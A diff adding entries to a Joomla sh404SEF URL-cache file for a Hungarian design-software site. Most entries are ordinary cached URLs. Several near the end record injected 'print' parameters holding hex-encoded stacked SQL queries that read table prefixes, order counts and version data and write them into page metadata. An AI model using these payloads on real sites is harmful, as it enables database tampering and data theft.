+$this->_urlCache['ed28c47ea9065dccaa686371a364d57d']='index.php?option=com_tags&id=39&lang=hu&view=tag#tag/39#0'; +$shURLCacheCreationDate=1778593137; +$this->_urlCache['ed28c47ea9065dccaa686371a364d57d']='index.php?option=com_tags&id=39&lang=hu&view=tag#tag/39#0'; +$shURLCacheCreationDate=1778593139; +$this->_urlCache['923655b6cecc72830f920a4c8760067b']='index.php?option=com_tags&id=42&lang=hu&view=tag#tag/42#0'; +$shURLCacheCreationDate=1778593144; +$this->_urlCache['f1acc89dc1da06edea780c1f80cf3b83']='index.php?option=com_tags&id=51&lang=hu&view=tag#tag/51#0'; +$shURLCacheCreationDate=1778593149; +$this->_urlCache['761ca46feb576f260c62be1989b435fb']='index.php?option=com_tags&id=55&lang=hu&view=tag#tag/55#0'; +$shURLCacheCreationDate=1778593151; +$this->_urlCache['b16b9634728e232566f0ce3a9810b139']='index.php?option=com_tags&id=57&lang=hu&view=tag#tag/57#0'; +$shURLCacheCreationDate=1778593154; +$this->_urlCache['b16b9634728e232566f0ce3a9810b139']='index.php?option=com_tags&id=57&lang=hu&view=tag#tag/57#0'; +$shURLCacheCreationDate=1778593155; +$this->_urlCache['b52f81a7dcd1392b291c0c5d2463a60f']='index.php?option=com_tags&id=58&lang=hu&view=tag#tag/58#0'; +$shURLCacheCreationDate=1778593157; +$this->_urlCache['890ea2dae08eeb54a73c0489e2bcb0b6']='index.php?option=com_tags&id=59&lang=hu&view=tag#tag/59#0'; +$shURLCacheCreationDate=1778593161; +$this->_urlCache['8bac7c638e0eb3a22a12087a725d4a7c']='index.php?option=com_tags&id=75-render&lang=hu&view=tag#tag/75-render#0'; +$shURLCacheCreationDate=1778602669; +$this->_urlCache['cafa04288a29fc9653a17e73ea2cf68e']='index.php?option=com_tags&id=60&lang=hu&view=tag#tag/60#0'; +$shURLCacheCreationDate=1778608925; +$this->_urlCache['cafa04288a29fc9653a17e73ea2cf68e']='index.php?option=com_tags&id=60&lang=hu&view=tag#tag/60#0'; +$shURLCacheCreationDate=1778608926; +$this->_urlCache['d3418a8dcd318ab45b54911007b4eeb5']='index.php?option=com_tags&id=61&lang=hu&view=tag#tag/61#0'; +$shURLCacheCreationDate=1778608928; +$this->_urlCache['d3418a8dcd318ab45b54911007b4eeb5']='index.php?option=com_tags&id=61&lang=hu&view=tag#tag/61#0'; +$shURLCacheCreationDate=1778608930; +$this->_urlCache['89c33671e1a21178576c319bc11055be']='index.php?option=com_tags&id=65&lang=hu&view=tag#tag/65#0'; +$shURLCacheCreationDate=1778608932; +$this->_urlCache['6837708c7446e5bdf300c4e9b539959b']='index.php?option=com_tags&id=7&lang=hu&view=tag#tag/7#0'; +$shURLCacheCreationDate=1778608942; +$this->_urlCache['86e21fd3bd72f42c3060c3c399225a69']='index.php?option=com_sppagebuilder&Itemid=286&id=79&lang=hu&view=page#oktatas/workshopok/konyha-es-tarolobutor-tervezo#0'; +$shURLCacheCreationDate=1778608942; +$this->_urlCache['6837708c7446e5bdf300c4e9b539959b']='index.php?option=com_tags&id=7&lang=hu&view=tag#tag/7#0'; +$shURLCacheCreationDate=1778608943; +$this->_urlCache['6a822b1b43b860dfc68032409c14150a']='index.php?option=com_tags&id=74&lang=hu&view=tag#tag/74#0'; +$shURLCacheCreationDate=1778608945; +$this->_urlCache['6a822b1b43b860dfc68032409c14150a']='index.php?option=com_tags&id=74&lang=hu&view=tag#tag/74#0'; +$shURLCacheCreationDate=1778608947; +$this->_urlCache['9a43b70005da2b70265be6517b6590a5']='index.php?option=com_tags&id=75&lang=hu&view=tag#tag/75#0'; +$shURLCacheCreationDate=1778608949; +$this->_urlCache['9a43b70005da2b70265be6517b6590a5']='index.php?option=com_tags&id=75&lang=hu&view=tag#tag/75#0'; +$shURLCacheCreationDate=1778608950; +$this->_urlCache['54c5edc6d3daaf2d52e252e1695b4319']='index.php?option=com_sppagebuilder&Itemid=488&id=169&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/karpitozott-butorok-belsoepiteszet-2#0'; +$shURLCacheCreationDate=1778611432; +$this->_urlCache['a42ec6512fc3642e1a7be75ea343b587']='index.php?option=com_tags&id=43&lang=hu&view=tag#tag/43#0'; +$shURLCacheCreationDate=1778616181; +$this->_urlCache['ab009da4683498e31735f3327faf2bf9']='index.php?option=com_tags&id=44&lang=hu&view=tag#tag/44#0'; +$shURLCacheCreationDate=1778616183; +$this->_urlCache['ab009da4683498e31735f3327faf2bf9']='index.php?option=com_tags&id=44&lang=hu&view=tag#tag/44#0'; +$shURLCacheCreationDate=1778616185; +$this->_urlCache['2e38ca95e33595a3d0bb6b055a83ca6e']='index.php?option=com_tags&id=47&lang=hu&view=tag#tag/47#0'; +$shURLCacheCreationDate=1778616196; +$this->_urlCache['bce13568d83e44848609d8b546474c22']='index.php?option=com_tags&id=48&lang=hu&view=tag#tag/48#0'; +$shURLCacheCreationDate=1778616199; +$this->_urlCache['bb6d7b8280fa0fb0e77ee37ed2b1bbca']='index.php?option=com_tags&id=52&lang=hu&view=tag#tag/52#0'; +$shURLCacheCreationDate=1778616201; +$this->_urlCache['d867ca2a0684f0fb8b7cc6006e503d9d']='index.php?option=com_tags&id=53&lang=hu&view=tag#tag/53#0'; +$shURLCacheCreationDate=1778616206; +$this->_urlCache['e6e4415cd9f96054cfc5158e5b6a4b5a']='index.php?option=com_tags&id=54&lang=hu&view=tag#tag/54#0'; +$shURLCacheCreationDate=1778616208; +$this->_urlCache['1012a461949f10e58a26e8ab0c18d44d']='index.php?option=com_tags&id=56&lang=hu&view=tag#tag/56#0'; +$shURLCacheCreationDate=1778616215; +$this->_urlCache['e04aa98e16e2a59d433fcfb38434589d']='index.php?option=com_tags&id=65-honap-kepe&lang=hu&view=tag#tag/65-honap-kepe#0'; +$shURLCacheCreationDate=1778616225; +$this->_urlCache['3d82276d6ed2aab5c4f437ec91cd18dd']='index.php?option=com_tags&id=74-interior&lang=hu&view=tag#tag/74-interior#0'; +$shURLCacheCreationDate=1778616250; +$this->_urlCache['5429eaeb781d72717de0b0e87d4fa35f']='index.php?option=com_tags&id=8&lang=hu&view=tag#tag/8#0'; +$shURLCacheCreationDate=1778616268; +$this->_urlCache['d084beee6a8721ecf68105ac60fa9d4d']='index.php?option=com_tags&id=86&lang=hu&view=tag#tag/86#0'; +$shURLCacheCreationDate=1778616280; +$this->_urlCache['d332382d2976c1821036c683a1b7b10b']='index.php?option=com_tags&id=62&lang=hu&view=tag#tag/62#0'; +$shURLCacheCreationDate=1778621763; +$this->_urlCache['d332382d2976c1821036c683a1b7b10b']='index.php?option=com_tags&id=62&lang=hu&view=tag#tag/62#0'; +$shURLCacheCreationDate=1778621764; +$this->_urlCache['9b51ee0c70d9686006ad68da89b4bb3d']='index.php?option=com_tags&id=63&lang=hu&view=tag#tag/63#0'; +$shURLCacheCreationDate=1778621766; +$this->_urlCache['9b51ee0c70d9686006ad68da89b4bb3d']='index.php?option=com_tags&id=63&lang=hu&view=tag#tag/63#0'; +$shURLCacheCreationDate=1778621768; +$this->_urlCache['eb39eca1d19853917be4b200785698a8']='index.php?option=com_tags&id=64&lang=hu&view=tag#tag/64#0'; +$shURLCacheCreationDate=1778621769; +$this->_urlCache['ca8950c693b3efb6890354bea95d9a2c']='index.php?option=com_sppagebuilder&Itemid=572&id=221&lang=hu&view=page#termekek/archline-xp-professional#1'; +$shURLCacheCreationDate=1778621925; +$this->_urlCache['84c5104540c388ef768cf1e19aa2dca0']='index.php?option=com_sppagebuilder&Itemid=481&id=162&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-1/konyha-belsoepiteszet-1#0'; +$shURLCacheCreationDate=1778635257; +$this->_urlCache['3dcd799ab28bb40feaa5748cab17f96e']='index.php?option=com_tags&id=19&lang=hu&view=tag#tag/19#0'; +$shURLCacheCreationDate=1778638688; +$this->_urlCache['3dcd799ab28bb40feaa5748cab17f96e']='index.php?option=com_tags&id=19&lang=hu&view=tag#tag/19#0'; +$shURLCacheCreationDate=1778638690; +$this->_urlCache['32b8d6362212658ef6b491f3a5b7522f']='index.php?option=com_tags&id=11&lang=hu&view=tag#tag/11#0'; +$shURLCacheCreationDate=1778639677; +$this->_urlCache['32b8d6362212658ef6b491f3a5b7522f']='index.php?option=com_tags&id=11&lang=hu&view=tag#tag/11#0'; +$shURLCacheCreationDate=1778639678; +$this->_urlCache['2f90c26abbca4944f1ca88d1efdde2db']='index.php?option=com_tags&id=12&lang=hu&view=tag#tag/12#0'; +$shURLCacheCreationDate=1778639683; +$this->_urlCache['1e53207986553caf3dcaf0089edd2f30']='index.php?option=com_tags&id=13&lang=hu&view=tag#tag/13#0'; +$shURLCacheCreationDate=1778639690; +$this->_urlCache['2d1c88f34e20696722fa51453ed994e4']='index.php?option=com_tags&id=16&lang=hu&view=tag#tag/16#0'; +$shURLCacheCreationDate=1778639713; +$this->_urlCache['2d1c88f34e20696722fa51453ed994e4']='index.php?option=com_tags&id=16&lang=hu&view=tag#tag/16#0'; +$shURLCacheCreationDate=1778639715; +$this->_urlCache['b387edd9e2323d9c538600ded2c8136b']='index.php?option=com_tags&id=18&lang=hu&view=tag#tag/18#0'; +$shURLCacheCreationDate=1778639730; +$this->_urlCache['ce66e60ef09e3e007b9824ae1a61169e']='index.php?option=com_tags&id=20&lang=hu&view=tag#tag/20#0'; +$shURLCacheCreationDate=1778639735; +$this->_urlCache['a3d2b386c797f4a50cb0d4ee61bea57b']='index.php?option=com_tags&id=21&lang=hu&view=tag#tag/21#0'; +$shURLCacheCreationDate=1778639743; +$this->_urlCache['70dd4e1761cfaed1001f3ca772091a3e']='index.php?option=com_tags&id=25&lang=hu&view=tag#tag/25#0'; +$shURLCacheCreationDate=1778639767; +$this->_urlCache['9969f266ad80f758e0c6bfbedbcc58f6']='index.php?option=com_tags&id=26&lang=hu&view=tag#tag/26#0'; +$shURLCacheCreationDate=1778639774; +$this->_urlCache['63114d502b3e7464154d50dc20b13950']='index.php?option=com_sppagebuilder&Itemid=282&id=75&lang=hu&view=page#oktatas/workshopok/anyagszerkesztes-es-kepretusalas#0'; +$shURLCacheCreationDate=1778646897; +$this->_urlCache['2ac6724ee47975b6e438a426911e1f11']='index.php?option=com_tags&id=37&lang=hu&view=tag#tag/37#0'; +$shURLCacheCreationDate=1778676638; +$this->_urlCache['2ac6724ee47975b6e438a426911e1f11']='index.php?option=com_tags&id=37&lang=hu&view=tag#tag/37#0'; +$shURLCacheCreationDate=1778676640; +$this->_urlCache['a798b694f35e843e2b491118ee48e862']='index.php?option=com_tags&id=38&lang=hu&view=tag#tag/38#0'; +$shURLCacheCreationDate=1778676645; +$this->_urlCache['a607e770c200c55dbf547a09b895fb84']='index.php?option=com_tags&id=40&lang=hu&view=tag#tag/40#0'; +$shURLCacheCreationDate=1778676655; +$this->_urlCache['e0db9916edd4f6d47a46720ed31fa506']='index.php?option=com_tags&id=45&lang=hu&view=tag#tag/45#0'; +$shURLCacheCreationDate=1778676662; +$this->_urlCache['9e1f3a7788dd45a4d24bc1be4c526976']='index.php?option=com_tags&id=46&lang=hu&view=tag#tag/46#0'; +$shURLCacheCreationDate=1778676666; +$this->_urlCache['c479fe132575c13b5323504e5f1c4e44']='index.php?option=com_content&Itemid=755&id=1145&lang=hu&view=article#palyazatok/rendering-palyazat-2026-szavazas#0'; +$shURLCacheCreationDate=1778679865; +$this->_urlCache['1a4de6dc99a1c39830dbfacc1f611382']='index.php?option=com_content&Itemid=755&catid=19&id=1145&lang=hu&view=article#palyazatok/rendering-palyazat-szavazas#1'; +$shURLCacheCreationDate=1778680331; +$this->_urlCache['4eb0cf3c95606fb58348b5d4eafe0228']='index.php?option=com_sppagebuilder&Itemid=290&id=83&lang=hu&view=page#oktatas/workshopok/tetoter-beepitese#0'; +$shURLCacheCreationDate=1778692634; +$this->_urlCache['4eb0cf3c95606fb58348b5d4eafe0228']='index.php?option=com_sppagebuilder&Itemid=290&id=83&lang=hu&view=page#oktatas/workshopok/tetoter-beepitese#0'; +$shURLCacheCreationDate=1778692635; +$this->_urlCache['9cc4ac0cb7c6a2a8251cf7691a9c8e18']='index.php?option=com_tags&id=29&lang=hu&view=tag#tag/29#0'; +$shURLCacheCreationDate=1778703103; +$this->_urlCache['9cc4ac0cb7c6a2a8251cf7691a9c8e18']='index.php?option=com_tags&id=29&lang=hu&view=tag#tag/29#0'; +$shURLCacheCreationDate=1778703105; +$this->_urlCache['2fc5770873f953893366dba598bf3671']='index.php?option=com_tags&id=30&lang=hu&view=tag#tag/30#0'; +$shURLCacheCreationDate=1778703110; +$this->_urlCache['2fc5770873f953893366dba598bf3671']='index.php?option=com_tags&id=30&lang=hu&view=tag#tag/30#0'; +$shURLCacheCreationDate=1778703111; +$this->_urlCache['e13da2a1dbcd623c52634453f768615e']='index.php?option=com_tags&id=31&lang=hu&view=tag#tag/31#0'; +$shURLCacheCreationDate=1778703117; +$this->_urlCache['e13da2a1dbcd623c52634453f768615e']='index.php?option=com_tags&id=31&lang=hu&view=tag#tag/31#0'; +$shURLCacheCreationDate=1778703118; +$this->_urlCache['645b71ec7a2c104ff3554615d3d6530c']='index.php?option=com_tags&id=32&lang=hu&view=tag#tag/32#0'; +$shURLCacheCreationDate=1778703124; +$this->_urlCache['645b71ec7a2c104ff3554615d3d6530c']='index.php?option=com_tags&id=32&lang=hu&view=tag#tag/32#0'; +$shURLCacheCreationDate=1778703125; +$this->_urlCache['a8b9955bd63f1b2edd33a0ee880ec856']='index.php?option=com_tags&id=33&lang=hu&view=tag#tag/33#0'; +$shURLCacheCreationDate=1778703130; +$this->_urlCache['a8b9955bd63f1b2edd33a0ee880ec856']='index.php?option=com_tags&id=33&lang=hu&view=tag#tag/33#0'; +$shURLCacheCreationDate=1778703132; +$this->_urlCache['e9db0e0d6eeaac8270597624f9ceb2e4']='index.php?option=com_tags&id=34&lang=hu&view=tag#tag/34#0'; +$shURLCacheCreationDate=1778703137; +$this->_urlCache['e9db0e0d6eeaac8270597624f9ceb2e4']='index.php?option=com_tags&id=34&lang=hu&view=tag#tag/34#0'; +$shURLCacheCreationDate=1778703139; +$this->_urlCache['5478a8b9f80ae85da1e0d0b41a170197']='index.php?option=com_tags&id=35&lang=hu&view=tag#tag/35#0'; +$shURLCacheCreationDate=1778703144; +$this->_urlCache['9af467f345786f751da085490aeeeb85']='index.php?option=com_tags&id=36&lang=hu&view=tag#tag/36#0'; +$shURLCacheCreationDate=1778703151; +$this->_urlCache['9af467f345786f751da085490aeeeb85']='index.php?option=com_tags&id=36&lang=hu&view=tag#tag/36#0'; +$shURLCacheCreationDate=1778703152; +$this->_urlCache['90a75cc0542f47e481182ad37582927a']='index.php?option=com_sppagebuilder&Itemid=472&id=153&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-1/kezelofelulet-alapok-1#0'; +$shURLCacheCreationDate=1778717771; +$this->_urlCache['7cc57ef5a457f90e0025d8ed41e47bb6']='index.php?option=com_sppagebuilder&Itemid=283&id=76&lang=hu&view=page#oktatas/workshopok/rendering#0'; +$shURLCacheCreationDate=1778749427; +$this->_urlCache['1697af3c8c6b92da759cfd99c92ed776']='index.php?option=com_sppagebuilder&Itemid=502&id=183&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-epiteszet-2/epulettomeg-arnyekelemzes-epiteszet-2#0'; +$shURLCacheCreationDate=1778767627; +$this->_urlCache['a6f4fdb35c62a0537fa24449b8782ea2']='index.php?option=com_sppagebuilder&Itemid=487&id=168&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-2/tarolo-butorok-belsoepiteszet-2#0'; +$shURLCacheCreationDate=1778791487; +$this->_urlCache['a785c9be1a15d878fa5b9f576f66aa08']='index.php?option=com_content&Itemid=124&id=968&lang=hu&view=article#letoltes/licensz-szerzodes-nyomtathato-2022#0'; +$shURLCacheCreationDate=1778799743; +$this->_urlCache['81c51cf76adee66b9f08c5199e1f91c3']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%27%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e3d4946284c4f4341544528225b695d222c6465736372697074696f6e29203e20302c20535542535452286465736372697074696f6e2c312c4c4f4341544528225b695d222c6465736372697074696f6e292d31292c6465736372697074696f6e292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799777; +$this->_urlCache['4151b0f8a4c05f5b57f1fedd09e406f0']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%27%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x5345542040636f72646572735f73716c203d20434f4e434154282753454c45435420636f756e74282a292046524f4d20272c407072656669782c276f726465727320574845524520646174655f616464203e3d2022323032352d30392d30312220494e544f2040636f726465727327293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40corders_sql%3BEXECUTE+stmt%3BSELECT+0x534554204069645f7665725f73716c203d20434f4e434154282753454c4543542076616c75652046524f4d20272c407072656669782c27636f6e66696775726174696f6e205748455245206e616d65203d202250535f56455253494f4e5f44422220494e544f2040766572696427293b+INTO+%40var_name4%3Bselect+%40var_name4%3Bprepare+stmt4+from+%40var_name4%3B+execute+stmt4%3BPREPARE+stmt+FROM+%40id_ver_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e203d20434f4e434154286465736372697074696f6e2c225b695d272c407072656669782c275b695d272c4076657269642c275b695d272c40636f72646572732c2722292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name5%3Bselect+%40var_name5%3Bprepare+stmt5+from+%40var_name5%3B+execute+stmt5%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799779; +$this->_urlCache['82582b710ff45153cce5b124f5fce921']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x5345542040636f72646572735f73716c203d20434f4e434154282753454c45435420636f756e74282a292046524f4d20272c407072656669782c276f726465727320574845524520646174655f616464203e3d2022323032352d30392d30312220494e544f2040636f726465727327293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40corders_sql%3BEXECUTE+stmt%3BSELECT+0x534554204069645f7665725f73716c203d20434f4e434154282753454c4543542076616c75652046524f4d20272c407072656669782c27636f6e66696775726174696f6e205748455245206e616d65203d202250535f56455253494f4e5f44422220494e544f2040766572696427293b+INTO+%40var_name4%3Bselect+%40var_name4%3Bprepare+stmt4+from+%40var_name4%3B+execute+stmt4%3BPREPARE+stmt+FROM+%40id_ver_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e203d20434f4e434154286465736372697074696f6e2c225b695d272c407072656669782c275b695d272c4076657269642c275b695d272c40636f72646572732c2722292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name5%3Bselect+%40var_name5%3Bprepare+stmt5+from+%40var_name5%3B+execute+stmt5%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799782; +$this->_urlCache['1d9ebf9da8f159ebaa174739001212e2']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%29%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e3d4946284c4f4341544528225b695d222c6465736372697074696f6e29203e20302c20535542535452286465736372697074696f6e2c312c4c4f4341544528225b695d222c6465736372697074696f6e292d31292c6465736372697074696f6e292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799786; +$this->_urlCache['f52412d3092ad8a42f0d9f9b199979e3']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%29%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x5345542040636f72646572735f73716c203d20434f4e434154282753454c45435420636f756e74282a292046524f4d20272c407072656669782c276f726465727320574845524520646174655f616464203e3d2022323032352d30392d30312220494e544f2040636f726465727327293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40corders_sql%3BEXECUTE+stmt%3BSELECT+0x534554204069645f7665725f73716c203d20434f4e434154282753454c4543542076616c75652046524f4d20272c407072656669782c27636f6e66696775726174696f6e205748455245206e616d65203d202250535f56455253494f4e5f44422220494e544f2040766572696427293b+INTO+%40var_name4%3Bselect+%40var_name4%3Bprepare+stmt4+from+%40var_name4%3B+execute+stmt4%3BPREPARE+stmt+FROM+%40id_ver_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e203d20434f4e434154286465736372697074696f6e2c225b695d272c407072656669782c275b695d272c4076657269642c275b695d272c40636f72646572732c2722292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name5%3Bselect+%40var_name5%3Bprepare+stmt5+from+%40var_name5%3B+execute+stmt5%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799788; +$this->_urlCache['cacefcd34bfd9897901ce15a55898d4a']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%27%29%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x53455420407570645f73716c203d20434f4e434154282755504441544520272c407072656669782c276d6574615f6c616e6720534554206465736372697074696f6e3d4946284c4f4341544528225b695d222c6465736372697074696f6e29203e20302c20535542535452286465736372697074696f6e2c312c4c4f4341544528225b695d222c6465736372697074696f6e292d31292c6465736372697074696f6e292057484552452069645f6d657461203d20272c406d6574616964293b+INTO+%40var_name3%3Bselect+%40var_name3%3Bprepare+stmt3+from+%40var_name3%3B+execute+stmt3%3BPREPARE+stmt+FROM+%40upd_sql%3BEXECUTE+stmt%3B+&view=article#letoltes/licensz-szerzodes-nyomtathato-2022/print#0'; +$shURLCacheCreationDate=1778799789; +$this->_urlCache['dbd142bd8becec04452a81ff502055a6']='index.php?option=com_content&Itemid=124&id=968&lang=hu&print=1%27%29%3BSELECT+0x53455420407461626c655f6e616d65203d202853454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c4553207768657265205441424c455f4e414d45206c696b652022256d6574615f6c616e672522204c494d49542031293b+INTO+%40var_name0%3Bselect+%40var_name0%3Bprepare+stmt0+from+%40var_name0%3B+execute+stmt0%3BSELECT+0x5345542040707265666978203d205245504c41434528407461626c655f6e616d652c226d6574615f6c616e67222c2222293b+INTO+%40var_name1%3Bselect+%40var_name1%3Bprepare+stmt1+from+%40var_name1%3B+execute+stmt1%3BSELECT+0x534554204069645f6d6574615f73716c203d20434f4e434154282753454c4543542069645f6d6574612046524f4d20272c407072656669782c276d6574612057484552452070616765203d2022696e6465782220494e544f20406d657461696427293b+INTO+%40var_name2%3Bselect+%40var_name2%3Bprepare+stmt2+from+%40var_name2%3B+execute+stmt2%3BPREPARE+stmt+FROM+%40id_meta_sql%3BEXECUTE+stmt%3BSELECT+0x5345542040636f72646572735f73716c203d20434f4e434154282753454c45435420636f756e74282a